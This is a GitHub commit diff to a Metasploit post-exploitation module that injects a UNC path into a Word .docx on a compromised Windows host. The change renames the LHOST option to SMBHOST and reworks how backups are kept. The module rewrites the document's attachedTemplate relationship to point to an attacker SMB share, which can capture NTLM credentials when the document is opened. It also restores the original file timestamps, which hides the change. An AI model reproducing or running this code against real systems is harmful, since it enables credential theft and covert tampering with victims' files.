Skip to content

Commit 2da3deb

Browse files
committed
Merge pull request #1 from jvazquez-r7/injector_docx_post
testing completed. I see no issues with the proposed changes, tempfiles and quickfile work fine.
2 parents 804e2cf + ef11a58 commit 2da3deb

File tree

1 file changed

+48
-32
lines changed

1 file changed

+48
-32
lines changed

modules/post/windows/injector/word_unc_injector.rb

Lines changed: 48 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -40,9 +40,9 @@ def initialize(info = {})
4040

4141
register_options(
4242
[
43-
OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to']),
43+
OptAddress.new('SMBHOST',[true, 'Server IP or hostname that the .docx document points to']),
4444
OptString.new('FILE', [true, 'Remote file to inject UNC path into. ']),
45-
OptBool.new('BACKUP', [true, 'Make local backup of remote file.', 'True']),
45+
OptBool.new('BACKUP', [true, 'Make local backup of remote file.', true]),
4646
], self.class)
4747
end
4848

@@ -66,7 +66,7 @@ def manipulate_file(zipfile)
6666
rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"
6767
rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">"
6868
rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/"
69-
rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
69+
rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['SMBHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
7070

7171
zip_data = unzip_docx(zipfile)
7272
if zip_data.nil?
@@ -151,6 +151,10 @@ def set_mace(mace)
151151
end
152152
end
153153

154+
def rhost
155+
client.sock.peerhost
156+
end
157+
154158
def run
155159

156160
#sadly OptPath does not work, so we check manually if it exists
@@ -168,14 +172,44 @@ def run
168172
org_file_data = read_file(datastore['FILE'])
169173

170174
#store the original file because we need to unzip from disk because there is no memory unzip
171-
logs_dir = ::File.join(Msf::Config.log_directory, 'unc_injector')
172-
FileUtils.mkdir_p(logs_dir)
173-
org_file = logs_dir + File::Separator + datastore['FILE'].split('\\').last
174-
vprint_status("Written remote file to #{org_file}")
175-
File.open(org_file, 'wb') { |f| f.write(org_file_data)}
175+
if datastore['BACKUP']
176+
#logs_dir = ::File.join(Msf::Config.local_directory, 'unc_injector_backup')
177+
#FileUtils.mkdir_p(logs_dir)
178+
#@org_file = logs_dir + File::Separator + datastore['FILE'].split('\\').last
179+
@org_file = store_loot(
180+
"host.word_unc_injector.changedfiles",
181+
"application/vnd.openxmlformats-officedocument.wordprocessingml.document",
182+
rhost,
183+
org_file_data,
184+
datastore['FILE'],
185+
)
186+
print_status("Local backup kept at #{@org_file}")
187+
#Store information in note database so its obvious what we changed, were we stored the backup file..
188+
note_string ="Remote file #{datastore['FILE']} contains UNC path to #{datastore['SMBHOST']}. "
189+
note_string += " Local backup of file at #{@org_file}."
190+
report_note(
191+
:host => session.session_host,
192+
:type => "host.word_unc_injector.changedfiles",
193+
:data => {
194+
:session_num => session.sid,
195+
:stype => session.type,
196+
:desc => session.info,
197+
:platform => session.platform,
198+
:via_payload => session.via_payload,
199+
:via_exploit => session.via_exploit,
200+
:created_at => Time.now.utc,
201+
:files_changed => note_string
202+
}
203+
)
204+
else
205+
@org_file = Rex::Quickfile.new('msf_word_unc_injector')
206+
end
207+
208+
vprint_status("Written remote file to #{@org_file}")
209+
File.open(@org_file, 'wb') { |f| f.write(org_file_data)}
176210

177211
#Unzip, insert our UNC path, zip and return the data of the modified file for upload
178-
injected_file = manipulate_file(org_file)
212+
injected_file = manipulate_file(@org_file)
179213
if injected_file.nil?
180214
return
181215
end
@@ -187,30 +221,12 @@ def run
187221
#set mace values back to that of original
188222
set_mace(file_mace)
189223

190-
#Store information in note database so its obvious what we changed, were we stored the backup file..or remove if no backup is desired
191-
note_string ="Remote file #{datastore['FILE']} contains UNC path to #{datastore['LHOST']}. "
192-
if datastore['BACKUP']
193-
note_string += " Local backup of file at #{org_file}."
194-
print_status("Local backup kept at #{org_file}")
195-
else
196-
FileUtils.rm_rf(org_file)
197-
print_status("Local copy #{org_file} deleted.")
224+
#remove tmpfile if no backup is desired
225+
if not datastore['BACKUP']
226+
@org_file.close
227+
@org_file.unlink rescue nil # Windows often complains about unlinking tempfiles
198228
end
199229

200-
report_note(:host => session.session_host,
201-
:type => "host.word_unc_injector.changedfiles",
202-
:data => {
203-
:session_num => session.sid,
204-
:stype => session.type,
205-
:desc => session.info,
206-
:platform => session.platform,
207-
:via_payload => session.via_payload,
208-
:via_exploit => session.via_exploit,
209-
:created_at => Time.now.utc,
210-
:files_changed => note_string
211-
}
212-
)
213-
214-
print_good("Done! Remote file #{datastore['FILE']} succesfully injected to point to #{datastore['LHOST']}")
230+
print_good("Done! Remote file #{datastore['FILE']} succesfully injected to point to #{datastore['SMBHOST']}")
215231
end
216232
end

0 commit comments

Comments
 (0)